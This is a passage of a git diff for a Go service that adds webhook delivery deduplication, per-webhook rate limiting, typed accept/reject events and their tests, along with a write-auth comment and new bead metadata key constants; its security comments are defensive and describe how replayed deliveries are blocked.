@@ -110,7 +110,7 @@ func TestMaybeGenerateTitleAsync_ExplicitTitle(t *testing.T) {
 	}
 
 	// When userTitle is set, no generation should happen.
-	done := MaybeGenerateTitleAsync(store, b.ID, "my explicit title", "hello world", provider, "", func(string, ...any) {})
+	done := MaybeGenerateTitleAsync(beads.SessionStore{Store: store}, b.ID, "my explicit title", "hello world", provider, "", func(string, ...any) {})
 	<-done
 
 	got, _ := store.Get(b.ID)
@@ -123,7 +123,7 @@ func TestMaybeGenerateTitleAsync_EmptyMessage(t *testing.T) {
 	store := beads.NewMemStore()
 	b, _ := store.Create(beads.Bead{Title: "template-name"})
 
-	done := MaybeGenerateTitleAsync(store, b.ID, "", "", nil, "", func(string, ...any) {})
+	done := MaybeGenerateTitleAsync(beads.SessionStore{Store: store}, b.ID, "", "", nil, "", func(string, ...any) {})
 	<-done
 
 	got, _ := store.Get(b.ID)
@@ -151,7 +151,7 @@ func TestMaybeGenerateTitleAsync_MockProvider(t *testing.T) {
 		PrintArgs: []string{"--print"},
 	}
 
-	done := MaybeGenerateTitleAsync(store, b.ID, "", "fix the login redirect loop", provider, "", func(string, ...any) {})
+	done := MaybeGenerateTitleAsync(beads.SessionStore{Store: store}, b.ID, "", "fix the login redirect loop", provider, "", func(string, ...any) {})
 	<-done
 
 	got, err := store.Get(b.ID)
diff --git a/internal/api/webhook_dedup.go b/internal/api/webhook_dedup.go
new file mode 100644
index 0000000000..551f4274c7
--- /dev/null
+++ b/internal/api/webhook_dedup.go
@@ -0,0 +1,156 @@
+package api
+
+import (
+	"crypto/sha256"
+	"encoding/hex"
+	"strings"
+	"sync"
+	"time"
+
+	"github.com/gastownhall/gascity/internal/webhookverify"
+)
+
+// defaultWebhookDedupTTL bounds how long a delivery id is remembered. Providers
+// retry redeliveries with backoff over minutes (GitHub/Plane) so the window must
+// comfortably cover a retry storm; 30 minutes mirrors the idempotencyCache TTL.
+const defaultWebhookDedupTTL = 30 * time.Minute
+
+// webhookDedupCacheMaxEntries caps live entries so a flood of unique delivery ids
+// cannot grow the map unbounded between TTL sweeps. Over cap, seen evicts expired
+// entries first and then the soonest-expiring, mirroring idempotencyCache.
+const webhookDedupCacheMaxEntries = 8192
+
+// webhookDedupCache is the E8 delivery-idempotency store: a bounded, TTL'd set of
+// (webhook, delivery-id) keys. It deliberately mirrors idempotencyCache's
+// bounded-TTL eviction rather than reusing it, because a webhook duplicate needs
+// a single atomic "have I already accepted this delivery?" check-and-record —
+// not the reserve/complete HTTP-response-replay protocol idempotencyCache serves.
+// It replaces the per-pack dedup caches (discord receipts, github reserve_request,
+// slack publishDedupCache) with one shared receiver-side store.
+type webhookDedupCache struct {
+	mu      sync.Mutex
+	entries map[string]time.Time // key -> expiry
+	ttl     time.Duration
+	max     int
+	// now is an injectable clock for tests; nil uses time.Now.
+	now func() time.Time
+}
+
+func newWebhookDedupCache(ttl time.Duration) *webhookDedupCache {
+	if ttl <= 0 {
+		ttl = defaultWebhookDedupTTL
+	}
+	return &webhookDedupCache{
+		entries: make(map[string]time.Time),
+		ttl:     ttl,
+		max:     webhookDedupCacheMaxEntries,
+	}
+}
+
+func (c *webhookDedupCache) clock() time.Time {
+	if c.now != nil {
+		return c.now()
+	}
+	return time.Now()
+}
+
+// seen atomically reports whether key was already recorded within the TTL. On a
+// first sighting it records key (claiming the delivery) and returns false; on a
+// live duplicate it returns true without extending the entry. An expired entry is
+// treated as unseen and re-recorded.
+func (c *webhookDedupCache) seen(key string) bool {
+	c.mu.Lock()
+	defer c.mu.Unlock()
+	now := c.clock()
+	if exp, ok := c.entries[key]; ok {
+		if now.Before(exp) {
+			return true
+		}
+		delete(c.entries, key) // expired; fall through and re-record
+	}
+	c.entries[key] = now.Add(c.ttl)
+	c.enforceCapLocked(now)
+	return false
+}
+
+// forget drops a previously claimed key so a genuine processing failure (dispatch
+// error, sink refusal) can be retried by the sender — the delivery was never
+// actually acted on. Mirrors idempotencyCache.unreserve.
+func (c *webhookDedupCache) forget(key string) {
+	c.mu.Lock()
+	defer c.mu.Unlock()
+	delete(c.entries, key)
+}
+
+// clear drops every entry. Test seam so a suite can reset dedup state between cases.
+func (c *webhookDedupCache) clear() {
+	c.mu.Lock()
+	defer c.mu.Unlock()
+	c.entries = make(map[string]time.Time)
+}
+
+// enforceCapLocked keeps the map under c.max: expired entries first, then the
+// soonest-expiring, until at or below the cap. Must hold c.mu.
+func (c *webhookDedupCache) enforceCapLocked(now time.Time) {
+	if len(c.entries) <= c.max {
+		return
+	}
+	for k, exp := range c.entries {
+		if now.After(exp) {
+			delete(c.entries, k)
+		}
+	}
+	for len(c.entries) > c.max {
+		var oldestKey string
+		var oldest time.Time
+		for k, exp := range c.entries {
+			if oldestKey == "" || exp.Before(oldest) {
+				oldestKey = k
+				oldest = exp
+			}
+		}
+		if oldestKey == "" {
+			return
+		}
+		delete(c.entries, oldestKey)
+	}
+}
+
+// webhookDedupKey namespaces a delivery id under its webhook so two webhooks that
+// share a delivery-id value (e.g. both counting from 1) never collide.
+func webhookDedupKey(hook, dedupID string) string {
+	return hook + "\x00" + dedupID
+}
+
+// webhookDedupKeyFor derives the (webhook, delivery) dedup key from content the
+// delivery's signature COVERS. A per-delivery-unique, signature-covered id (the
+// jwt-jwks jti, flagged DedupIDSigned) is used directly; every other scheme keys
+// on the body hash — the body is signed under every scheme, so it is tamper-proof
+// and unique per delivery.
+//
+// The provider's surfaced DedupID (github's X-GitHub-Delivery, slack's timestamp)
+// is deliberately NOT part of the key when it is unsigned or coarse:
+//   - github/generic-hmac: the delivery header is UNSIGNED, so an attacker could
+//     replay a captured valid (body, signature) under a fresh delivery id to mint
+//     a fresh key and re-fire the order. Keying on the body hash defeats that —
+//     a legit retry re-sends the byte-identical body, so it still dedups.
+//   - slack: the timestamp is signed but only second-granular, so two DISTINCT
+//     deliveries in the same wall-clock second would collide and one would be
+//     silently dropped. The body hash keeps distinct deliveries distinct.
+func webhookDedupKeyFor(hook string, vres webhookverify.VerifyResult, body []byte) string {
+	id := webhookBodyHash(body)
+	if vres.DedupIDSigned {
+		if signed := strings.TrimSpace(vres.DedupID); signed != "" {
+			id = signed
+		}
+	}
+	return webhookDedupKey(hook, id)
+}
+
+// webhookBodyHash is the dedup-id fallback for schemes that surface no delivery
+// id: a one-way SHA-256 of the raw body. It is a digest, never the body, so it is
+// safe to use as a key and to place on an event.
+func webhookBodyHash(body []byte) string {
+	sum := sha256.Sum256(body)
+	return "sha256:" + hex.EncodeToString(sum[:])
+}
diff --git a/internal/api/webhook_dedup_test.go b/internal/api/webhook_dedup_test.go
new file mode 100644
index 0000000000..63d654dfab
--- /dev/null
+++ b/internal/api/webhook_dedup_test.go
@@ -0,0 +1,134 @@
+package api
+
+import (
+	"fmt"
+	"strings"
+	"testing"
+	"time"
+
+	"github.com/gastownhall/gascity/internal/webhookverify"
+)
+
+func TestWebhookDedupCache_SeenAndForget(t *testing.T) {
+	c := newWebhookDedupCache(time.Hour)
+	k := webhookDedupKey("github", "d-1")
+	if c.seen(k) {
+		t.Fatal("first sighting must report unseen")
+	}
+	if !c.seen(k) {
+		t.Fatal("second sighting must report a duplicate")
+	}
+	// forget releases the claim so a genuine retry can re-run.
+	c.forget(k)
+	if c.seen(k) {
+		t.Fatal("after forget, the key must be unseen again")
+	}
+}
+
+func TestWebhookDedupCache_Clear(t *testing.T) {
+	c := newWebhookDedupCache(time.Hour)
+	k := webhookDedupKey("h", "1")
+	if c.seen(k) {
+		t.Fatal("first sight unseen")
+	}
+	c.clear()
+	if c.seen(k) {
+		t.Fatal("after clear, a previously-seen key must be unseen again")
+	}
+}
+
+func TestWebhookDedupCache_TTLExpiry(t *testing.T) {
+	c := newWebhookDedupCache(time.Minute)
+	now := time.Now()
+	c.now = func() time.Time { return now }
+	k := webhookDedupKey("h", "x")
+	if c.seen(k) {
+		t.Fatal("unseen on first sight")
+	}
+	if !c.seen(k) {
+		t.Fatal("duplicate within the TTL")
+	}
+	now = now.Add(2 * time.Minute) // past the TTL
+	if c.seen(k) {
+		t.Fatal("an expired entry must be treated as unseen")
+	}
+}
+
+func TestWebhookDedupCache_KeyNamespacing(t *testing.T) {
+	c := newWebhookDedupCache(time.Hour)
+	if c.seen(webhookDedupKey("a", "1")) {
+		t.Fatal("webhook a, id 1: unseen")
+	}
+	if c.seen(webhookDedupKey("b", "1")) {
+		t.Fatal("webhook b sharing id 1 must not collide with webhook a")
+	}
+}
+
+func TestWebhookDedupCache_EvictsOverCap(t *testing.T) {
+	c := newWebhookDedupCache(time.Hour)
+	c.max = 4
+	for i := 0; i < 20; i++ {
+		c.seen(webhookDedupKey("h", fmt.Sprintf("d-%d", i)))
+	}
+	if len(c.entries) > c.max {
+		t.Fatalf("entries = %d, want <= cap %d", len(c.entries), c.max)
+	}
+}
+
+// FIX 3/4: the dedup KEY comes from signature-covered content, never from the
+// unsigned/coarse provider delivery id.
+func TestWebhookDedupKeyFor_KeysOnSignedContent(t *testing.T) {
+	bodyA := []byte(`{"n":1}`)
+	bodyB := []byte(`{"n":2}`)
+
+	// FIX 3 (github/generic-hmac): the delivery id is UNSIGNED. A replayed body
+	// with a FRESH delivery id must map to the SAME key (so the replay dedups) —
+	// keying is on the body hash, not the attacker-mutable header.
+	ghA := webhookverify.VerifyResult{OK: true, DedupID: "delivery-A", DedupIDSigned: false}
+	ghB := webhookverify.VerifyResult{OK: true, DedupID: "delivery-B", DedupIDSigned: false}
+	if webhookDedupKeyFor("gh", ghA, bodyA) != webhookDedupKeyFor("gh", ghB, bodyA) {
+		t.Error("github: same body with different (unsigned) delivery ids must share a key — else a fresh id replays the delivery")
+	}
+	// Distinct bodies must stay distinct even with the same delivery id.
+	if webhookDedupKeyFor("gh", ghA, bodyA) == webhookDedupKeyFor("gh", ghA, bodyB) {
+		t.Error("github: distinct bodies must have distinct keys")
+	}
+
+	// FIX 4 (slack): the id is signed but coarse (second-granular). Two DISTINCT
+	// bodies sharing the same ts must NOT collide — key on the body hash.
+	slA := webhookverify.VerifyResult{OK: true, DedupID: "1700000000", DedupIDSigned: false}
+	slB := webhookverify.VerifyResult{OK: true, DedupID: "1700000000", DedupIDSigned: false}
+	if webhookDedupKeyFor("slack", slA, bodyA) == webhookDedupKeyFor("slack", slB, bodyB) {
+		t.Error("slack: distinct bodies in the same second must not collide on the dedup key")
+	}
+
+	// jwt-jwks: the jti is signed AND unique per delivery, so it IS the key.
+	// Same jti dedups regardless of body; different jti does not.
+	jtiX := webhookverify.VerifyResult{OK: true, DedupID: "jti-x", DedupIDSigned: true}
+	jtiY := webhookverify.VerifyResult{OK: true, DedupID: "jti-y", DedupIDSigned: true}
+	if webhookDedupKeyFor("jwt", jtiX, bodyA) != webhookDedupKeyFor("jwt", jtiX, bodyB) {
+		t.Error("jwt: same signed jti must dedup even when the body differs")
+	}
+	if webhookDedupKeyFor("jwt", jtiX, bodyA) == webhookDedupKeyFor("jwt", jtiY, bodyA) {
+		t.Error("jwt: different jti must produce different keys (both dispatch)")
+	}
+	// A jwt with no jti falls back to the body hash (not an empty-id collision).
+	noJTI := webhookverify.VerifyResult{OK: true, DedupID: "", DedupIDSigned: true}
+	if webhookDedupKeyFor("jwt", noJTI, bodyA) != webhookDedupKey("jwt", webhookBodyHash(bodyA)) {
+		t.Error("jwt without a jti must fall back to the body hash")
+	}
+}
+
+func TestWebhookBodyHash_IsDigestNotBody(t *testing.T) {
+	h := webhookBodyHash([]byte("super-secret-body-content"))
+	if strings.Contains(h, "super-secret-body-content") {
+		t.Fatalf("body hash must not embed the body: %q", h)
+	}
+	if !strings.HasPrefix(h, "sha256:") {
+		t.Fatalf("body hash = %q, want sha256: prefix", h)
+	}
+	// Same body → same key (dedup works); different body → different key.
+	if webhookBodyHash([]byte("a")) == webhookBodyHash([]byte("b")) {
+		t.Fatal("distinct bodies must hash to distinct keys")
+	}
+}
diff --git a/internal/api/webhook_events.go b/internal/api/webhook_events.go
new file mode 100644
index 0000000000..55d08ef84b
--- /dev/null
+++ b/internal/api/webhook_events.go
@@ -0,0 +1,94 @@
+package api
+
+import "github.com/gastownhall/gascity/internal/events"
+
+// Webhook rejection reason enum. These are the stable strings carried on
+// WebhookRejectedPayload.Reason so operators can alert/aggregate on a rejection
+// class without parsing free text. The security-relevant classes the design and
+// red-team call out (perimeter_denied, read_only, verify_failed, operator_fault,
+// rate_limited, dispatch_refused) are here alongside the operational ones
+// (method_not_allowed, body_too_large, bad_body, bad_payload, match_error,
+// dispatch_unavailable/dispatch_error) that keep the receiver debuggable.
+//
+// Notes on two design decisions:
+//   - An unresolved route (unknown webhook name) is intentionally NOT evented:
+//     the route segment is chosen by an unauthenticated caller, so emitting there
+//     would be an event-log-flood amplification vector and a name-existence oracle
+//     (it would also violate R2's "never confirm which hooks exist"). The receiver
+//     404s such probes silently, so there is no unknown_webhook reason.
+//   - no-match is classified as webhook.received (an accepted, authentic 2xx
+//     delivery that no rule wanted), NOT as a rejection — so there is no
+//     no_match reason.
+const (
+	reasonMethodNotAllowed    = "method_not_allowed"
+	reasonPerimeterDenied     = "perimeter_denied"
+	reasonReadOnly            = "read_only"
+	reasonRateLimited         = "rate_limited"
+	reasonBodyTooLarge        = "body_too_large"
+	reasonBadBody             = "bad_body"
+	reasonOperatorFault       = "operator_fault"
+	reasonVerifyFailed        = "verify_failed"
+	reasonBadPayload          = "bad_payload"
+	reasonMatchError          = "match_error"
+	reasonDispatchRefused     = "dispatch_refused"
+	reasonDispatchUnavailable = "dispatch_unavailable"
+	reasonDispatchError       = "dispatch_error"
+)
+
+// WebhookEventSink receives the E8 observability events at the receiver's
+// accept/reject decision points. It is the injection seam E3 stubbed on Server:
+// production forwards to the city event bus (cityEventWebhookSink), and tests
+// substitute a fake to assert exactly which events fire with which fields. The
+// receiver only ever hands it the typed payloads, so an event can never carry an
+// ad-hoc shape (Principle 7). The methods take the payload by value; there is no
+// context parameter because the underlying events.Recorder.Record is itself
+// context-free (matching EmitTypedEvent / the extmsg emitter).
+type WebhookEventSink interface {
+	Received(WebhookReceivedPayload)
+	Rejected(WebhookRejectedPayload)
+}
+
+// cityEventWebhookSink is the production WebhookEventSink: it records the typed
+// payload onto the per-city event bus, where it flows to gc orders feed and the
+// typed /v0/city/{city}/events/stream projection alongside OrderFired. A nil
+// recorder (events disabled) makes both methods no-ops.
+type cityEventWebhookSink struct {
+	rec events.Recorder
+}
+
+// Received records a webhook.received event.
+func (s cityEventWebhookSink) Received(ev WebhookReceivedPayload) {
+	if s.rec == nil {
+		return
+	}
+	EmitTypedEvent(s.rec, events.WebhookReceived, ev.Webhook, ev)
+}
+
+// Rejected records a webhook.rejected event.
+func (s cityEventWebhookSink) Rejected(ev WebhookRejectedPayload) {
+	if s.rec == nil {
+		return
+	}
+	EmitTypedEvent(s.rec, events.WebhookRejected, ev.Webhook, ev)
+}
+
+// webhookEventSink returns the configured sink, defaulting to the city event bus
+// when no test override is injected. Resolving the recorder lazily (rather than
+// caching it on Server) keeps the sink correct if EventProvider changes and lets
+// the field stay a pure test seam.
+func (s *Server) webhookEventSink() WebhookEventSink {
+	if s.webhookEvents != nil {
+		return s.webhookEvents
+	}
+	return cityEventWebhookSink{rec: s.state.EventProvider()}
+}
+
+// emitWebhookReceived records a webhook.received event through the active sink.
+func (s *Server) emitWebhookReceived(ev WebhookReceivedPayload) {
+	s.webhookEventSink().Received(ev)
+}
+
+// emitWebhookRejected records a webhook.rejected event through the active sink.
+func (s *Server) emitWebhookRejected(ev WebhookRejectedPayload) {
+	s.webhookEventSink().Rejected(ev)
+}
diff --git a/internal/api/webhook_ratelimit.go b/internal/api/webhook_ratelimit.go
new file mode 100644
index 0000000000..e48af147ad
--- /dev/null
+++ b/internal/api/webhook_ratelimit.go
@@ -0,0 +1,118 @@
+package api
+
+import (
+	"math"
+	"net/http"
+	"strconv"
+	"sync"
+	"time"
+)
+
+// webhookRateLimiterMaxBuckets caps distinct per-webhook buckets so the limiter
+// cannot grow unbounded. In practice a city has a handful of webhooks; the cap is
+// a safety net that evicts the least-recently-used bucket if ever exceeded.
+const webhookRateLimiterMaxBuckets = 4096
+
+// webhookRateLimiter is the E8 per-webhook token-bucket limiter: bounded,
+// in-memory, keyed by webhook name. The sustained rate (perMinute) and burst are
+// supplied per call from config.WebhookPolicyConfig.EffectiveRateLimit, so a
+// config reload takes effect on the next delivery and — crucially — a pack can
+// never widen a limit it is subject to (the operator owns the ceiling; a pack's
+// MaxPerMinute is clamped before it reaches here).
+type webhookRateLimiter struct {
+	mu      sync.Mutex
+	buckets map[string]*tokenBucket
+	max     int
+	// now is an injectable clock for tests; nil uses time.Now.
+	now func() time.Time
+}
+
+type tokenBucket struct {
+	tokens float64
+	last   time.Time
+}
+
+func newWebhookRateLimiter() *webhookRateLimiter {
+	return &webhookRateLimiter{
+		buckets: make(map[string]*tokenBucket),
+		max:     webhookRateLimiterMaxBuckets,
+	}
+}
+
+func (l *webhookRateLimiter) clock() time.Time {
+	if l.now != nil {
+		return l.now()
+	}
+	return time.Now()
+}
+
+// allow consumes one token for name at the given sustained rate and burst. It
+// returns whether the delivery is permitted and, when not, the recommended
+// Retry-After wait. A non-positive perMinute fails closed (throughput disabled).
+func (l *webhookRateLimiter) allow(name string, perMinute, burst int) (bool, time.Duration) {
+	if perMinute <= 0 {
+		// The operator (or the clamp) set this webhook to zero sustained
+		// throughput; refuse every delivery rather than divide by zero.
+		return false, time.Minute
+	}
+	if burst < 1 {
+		burst = 1
+	}
+	ratePerSec := float64(perMinute) / 60.0
+	capacity := float64(burst)
+
+	l.mu.Lock()
+	defer l.mu.Unlock()
+	now := l.clock()
+	b, ok := l.buckets[name]
+	if !ok {
+		l.evictIfFullLocked()
+		b = &tokenBucket{tokens: capacity, last: now}
+		l.buckets[name] = b
+	}
+	// Refill by the elapsed time, then clamp to the (possibly reloaded) capacity.
+	if elapsed := now.Sub(b.last).Seconds(); elapsed > 0 {
+		b.tokens += elapsed * ratePerSec
+		b.last = now
+	}
+	if b.tokens > capacity {
+		b.tokens = capacity
+	}
+	if b.tokens >= 1 {
+		b.tokens--
+		return true, 0
+	}
+	// Under one token: time until the next token accrues.
+	wait := time.Duration((1 - b.tokens) / ratePerSec * float64(time.Second))
+	return false, wait
+}
+
+// evictIfFullLocked drops the least-recently-used bucket when at capacity. Must
+// hold l.mu.
+func (l *webhookRateLimiter) evictIfFullLocked() {
+	if len(l.buckets) < l.max {
+		return
+	}
+	var oldestKey string
+	var oldest time.Time
+	for k, b := range l.buckets {
+		if oldestKey == "" || b.last.Before(oldest) {
+			oldestKey = k
+			oldest = b.last
+		}
+	}
+	if oldestKey != "" {
+		delete(l.buckets, oldestKey)
+	}
+}
+
+// setRetryAfter writes an integer-second Retry-After header (RFC 9110), rounding
+// up and flooring at 1s so the sender always backs off at least a second. It must
+// be called before the status line is written.
+func setRetryAfter(w http.ResponseWriter, d time.Duration) {
+	secs := int(math.Ceil(d.Seconds()))
+	if secs < 1 {
+		secs = 1
+	}
+	w.Header().Set("Retry-After", strconv.Itoa(secs))
+}
diff --git a/internal/api/webhook_ratelimit_test.go b/internal/api/webhook_ratelimit_test.go
new file mode 100644
index 0000000000..cfcde30c0a
--- /dev/null
+++ b/internal/api/webhook_ratelimit_test.go
@@ -0,0 +1,74 @@
+package api
+
+import (
+	"net/http/httptest"
+	"testing"
+	"time"
+)
+
+func TestWebhookRateLimiter_BurstThenRefill(t *testing.T) {
+	l := newWebhookRateLimiter()
+	now := time.Now()
+	l.now = func() time.Time { return now }
+
+	// burst=2 → first two allowed, third denied.
+	if ok, _ := l.allow("h", 60, 2); !ok {
+		t.Fatal("1st delivery within burst must be allowed")
+	}
+	if ok, _ := l.allow("h", 60, 2); !ok {
+		t.Fatal("2nd delivery within burst must be allowed")
+	}
+	ok, retry := l.allow("h", 60, 2)
+	if ok {
+		t.Fatal("3rd delivery must be denied (burst exhausted)")
+	}
+	if retry <= 0 {
+		t.Fatalf("denied delivery must carry a positive Retry-After, got %v", retry)
+	}
+
+	// 60/min == 1/sec: advancing one second restores exactly one token.
+	now = now.Add(time.Second)
+	if ok, _ := l.allow("h", 60, 2); !ok {
+		t.Fatal("after a 1s refill one token should be available")
+	}
+	if ok, _ := l.allow("h", 60, 2); ok {
+		t.Fatal("only one token should have refilled")
+	}
+}
+
+func TestWebhookRateLimiter_PerWebhookIsolation(t *testing.T) {
+	l := newWebhookRateLimiter()
+	now := time.Now()
+	l.now = func() time.Time { return now }
+
+	if ok, _ := l.allow("a", 60, 1); !ok {
+		t.Fatal("webhook a first token")
+	}
+	if ok, _ := l.allow("a", 60, 1); ok {
+		t.Fatal("webhook a should be exhausted")
+	}
+	// A different webhook has its own bucket and is unaffected.
+	if ok, _ := l.allow("b", 60, 1); !ok {
+		t.Fatal("webhook b must have its own independent bucket")
+	}
+}
+
+func TestWebhookRateLimiter_NonPositiveDisables(t *testing.T) {
+	l := newWebhookRateLimiter()
+	if ok, retry := l.allow("h", 0, 1); ok || retry <= 0 {
+		t.Fatalf("perMinute<=0 must fail closed with a wait, got ok=%v retry=%v", ok, retry)
+	}
+}
+
+func TestSetRetryAfter_RoundsUpAndFloors(t *testing.T) {
+	rec := httptest.NewRecorder()
+	setRetryAfter(rec, 1500*time.Millisecond)
+	if got := rec.Header().Get("Retry-After"); got != "2" {
+		t.Errorf("Retry-After = %q, want 2 (ceil of 1.5s)", got)
+	}
+	rec2 := httptest.NewRecorder()
+	setRetryAfter(rec2, 5*time.Millisecond)
+	if got := rec2.Header().Get("Retry-After"); got != "1" {
+		t.Errorf("Retry-After = %q, want 1 (floored)", got)
+	}
+}
diff --git a/internal/api/writeauth.go b/internal/api/writeauth.go
index 58c906e2f1..91066b629f 100644
--- a/internal/api/writeauth.go
+++ b/internal/api/writeauth.go
@@ -57,6 +57,12 @@ const (
 //   - an empty sub-resource (/v0/city/{name}/),
 //   - the /svc/ workspace-service pass-through, which cannot mutate gc config
 //     objects and applies its own publication rules.
+//
+// The /hook/ webhook receiver is deliberately NOT exempted (the H2 reversal): a
+// /hook/{name} POST dispatches order → sh -c authenticated by a verifier a pack
+// may author, so when write-auth is configured it stays gated on the operator's
+// signed grant. Signature verification (E4) is an ADDITIONAL gate for public
+// webhooks, never a replacement for this one. Do not add a /hook/ exemption here.
 func cityScopedObjectMutation(path string) (city string, ok bool) {
 	const prefix = "/v0/city/"
 	if !strings.HasPrefix(path, prefix) {
diff --git a/internal/beadmeta/keys.go b/internal/beadmeta/keys.go
index 10e09928a7..9d4b9a7785 100644
--- a/internal/beadmeta/keys.go
+++ b/internal/beadmeta/keys.go
@@ -60,6 +60,7 @@ const (
 	ControllerErrorMetadataKey           = "gc.controller_error"
 	ControllerRetryableMetadataKey       = "gc.controller_retryable"
 	CurrentRunIDMetadataKey              = "gc.current_run_id"
+	CwdMetadataKey                       = "gc.cwd"
 	// ActiveWorkBeadMetadataKey is the session bead's current-pointer to the STEP it
 	// is executing — the work bead's bare gc.step_id (NOT its namespaced bead id),
 	// stamped at the claim hook and read at the usage record site to populate
@@ -103,6 +104,7 @@ const (
 	FanoutStateMetadataKey               = "gc.fanout_state"
 	FinalDispositionMetadataKey          = "gc.final_disposition"
 	ForEachMetadataKey                   = "gc.for_each"
+	FormulaMetadataKey                   = "gc.formula"
 	FormulaContractMetadataKey           = "gc.formula_contract"
 	FormulaHashMetadataKey               = "gc.formula_hash"
 	FormulaNameMetadataKey               = "gc.formula_name"
@@ -112,6 +114,7 @@ const (
 	IdempotencyKeyMetadataKey            = "gc.idempotency_key"
 	InputConvoyIDMetadataKey             = "gc.input_convoy_id"
 	InstantiatingMetadataKey             = "gc.instantiating"
+	IterationMetadataKey                 = "gc.iteration"
 	ItemRootKeyMetadataKey               = "gc.item_root_key"
 	KindMetadataKey                      = "gc.kind"
 	LastFailureClassMetadataKey          = "gc.last_failure_class"
@@ -129,6 +132,7 @@ const (
 	OutcomeMetadataKey                   = "gc.outcome"
 	OutputJSONMetadataKey                = "gc.output_json"
 	OutputJSONRequiredMetadataKey        = "gc.output_json_required"
+	ParentBeadIDMetadataKey              = "gc.parent_bead_id"
 	ParentConvoyIDMetadataKey            = "gc.parent_convoy_id"
 	PartialFragmentMetadataKey           = "gc.partial_fragment"
 	PartialRetryMetadataKey              = "gc.partial_retry"
@@ -147,6 +151,7 @@ const (
 	RetryFromMetadataKey                 = "gc.retry_from"
 	RetrySessionRecycledMetadataKey      = "gc.retry_session_recycled"
 	RetryStateMetadataKey                = "gc.retry_state"
+	RigRootMetadataKey                   = "gc.rig_root"
 	RootBeadIDMetadataKey                = "gc.root_bead_id"
 	RootStoreRefMetadataKey              = "gc.root_store_ref"
 	RoutedToMetadataKey                  = "gc.routed_to"
@@ -158,33 +163,40 @@ const (
 	ScopeRoleMetadataKey                 = "gc.scope_role"
 	SessionAffinityMetadataKey           = "gc.session_affinity"
 	SessionIDMetadataKey                 = "gc.session_id"
-	SessionNameMetadataKey               = "gc.session_name"
-	SourceBeadIDMetadataKey              = "gc.source_bead_id"
-	SourceStepSpecMetadataKey            = "gc.source_step_spec"
-	SourceStoreRefMetadataKey            = "gc.source_store_ref"
-	SpawnedCountMetadataKey              = "gc.spawned_count"
-	SpecForMetadataKey                   = "gc.spec_for"
-	SpecForRefMetadataKey                = "gc.spec_for_ref"
-	StderrMetadataKey                    = "gc.stderr"
-	StdoutMetadataKey                    = "gc.stdout"
-	StepIDMetadataKey                    = "gc.step_id"
-	StepRefMetadataKey                   = "gc.step_ref"
-	StepTimeoutMetadataKey               = "gc.step_timeout"
-	SyntheticKindMetadataKey             = "gc.synthetic_kind"
-	SyntheticMetadataKey                 = "gc.synthetic"
-	TemplateMetadataKey                  = "gc.template"
-	TerminalMetadataKey                  = "gc.terminal"
-	TriggerBeadIDMetadataKey             = "gc.trigger_bead_id"
-	TriggerBeadStoreRefMetadataKey       = "gc.trigger_bead_store_ref"
-	TruncatedMetadataKey                 = "gc.truncated"
-	VoteFieldMetadataKey                 = "gc.vote_field"
-	WardenEscalatedMetadataKey           = "gc.warden_escalated"
-	WorkBranchMetadataKey                = "gc.work_branch"
-	WorkCommitMetadataKey                = "gc.work_commit"
-	WorkDirMetadataKey                   = "gc.work_dir"
-	WorkOutcomeMetadataKey               = "gc.work_outcome"
-	WorkVerificationMetadataKey          = "gc.work_verification"
-	WorkflowIDMetadataKey                = "gc.workflow_id"
+	// SessionIDCamelMetadataKey is the camelCase variant some bead writers stamp
+	// alongside the snake_case SessionIDMetadataKey; both are read when resolving a
+	// bead's session link.
+	SessionIDCamelMetadataKey = "gc.sessionId"
+	SessionNameMetadataKey    = "gc.session_name"
+	// SessionNameCamelMetadataKey is the camelCase variant of SessionNameMetadataKey,
+	// mirroring SessionIDCamelMetadataKey.
+	SessionNameCamelMetadataKey    = "gc.sessionName"
+	SourceBeadIDMetadataKey        = "gc.source_bead_id"
+	SourceStepSpecMetadataKey      = "gc.source_step_spec"
+	SourceStoreRefMetadataKey      = "gc.source_store_ref"
+	SpawnedCountMetadataKey        = "gc.spawned_count"
+	SpecForMetadataKey             = "gc.spec_for"
+	SpecForRefMetadataKey          = "gc.spec_for_ref"
+	StderrMetadataKey              = "gc.stderr"
+	StdoutMetadataKey              = "gc.stdout"
+	StepIDMetadataKey              = "gc.step_id"
+	StepRefMetadataKey             = "gc.step_ref"
+	StepTimeoutMetadataKey         = "gc.step_timeout"
+	SyntheticKindMetadataKey       = "gc.synthetic_kind"
+	SyntheticMetadataKey           = "gc.synthetic"
+	TemplateMetadataKey            = "gc.template"
+	TerminalMetadataKey            = "gc.terminal"
+	TriggerBeadIDMetadataKey       = "gc.trigger_bead_id"
+	TriggerBeadStoreRefMetadataKey = "gc.trigger_bead_store_ref"
+	TruncatedMetadataKey           = "gc.truncated"
+	VoteFieldMetadataKey           = "gc.vote_field"
+	WardenEscalatedMetadataKey     = "gc.warden_escalated"
+	WorkBranchMetadataKey          = "gc.work_branch"
+	WorkCommitMetadataKey          = "gc.work_commit"
+	WorkDirMetadataKey             = "gc.work_dir"
+	WorkOutcomeMetadataKey         = "gc.work_outcome"
+	WorkVerificationMetadataKey    = "gc.work_verification"
+	WorkflowIDMetadataKey          = "gc.workflow_id"
 )
 
 // Work-record metadata keys (ADR-0009). These bind a work bead to its claim
@@ -235,6 +247,22 @@ const (
 	LegacyWorkDirMetadataKey = "work_dir"
 )
 
+// Dispatch metadata keys: a non-"gc."-prefixed family that sling writes onto
+// work and source beads to wire molecules together and record the merge
+// strategy. They predate the gc. namespace convention and their on-store
+// strings are load-bearing (the run-chain resolver in runid.go and the graph
+// dispatch readers key on them), so they are declared here — like the
+// directory keys above — to give the vocabulary one home without changing any
+// wire value. They are intentionally NOT in KnownMetadataKeys, whose drift
+// guard only covers the gc. namespace.
+const (
+	// MoleculeIDMetadataKey links a poured/wisp work bead to its molecule root.
+	MoleculeIDMetadataKey = "molecule_id"
+
+	// MergeStrategyMetadataKey records the merge strategy chosen for a slung bead.
+	MergeStrategyMetadataKey = "merge_strategy"
+)
+
 // OptionMetadataPrefix is the dynamic non-"gc."-prefixed key prefix under
 // which provider option choices are stored as opt_<OptionsSchema key> (e.g.
 // opt_model, opt_effort) on session and work beads. The suffix is open-world
@@ -269,6 +297,7 @@ var KnownMetadataKeys = []string{
 	ControllerRetryableMetadataKey,
 	CurrentRunIDMetadataKey,
 	ActiveWorkBeadMetadataKey,
+	CwdMetadataKey,
 	DeferredAssigneeMetadataKey,
 	DeferredExecutionRoutedToMetadataKey,
 	DeferredRoutedToMetadataKey,
@@ -306,6 +335,7 @@ var KnownMetadataKeys = []string{
 	FanoutStateMetadataKey,
 	FinalDispositionMetadataKey,
 	ForEachMetadataKey,
+	FormulaMetadataKey,
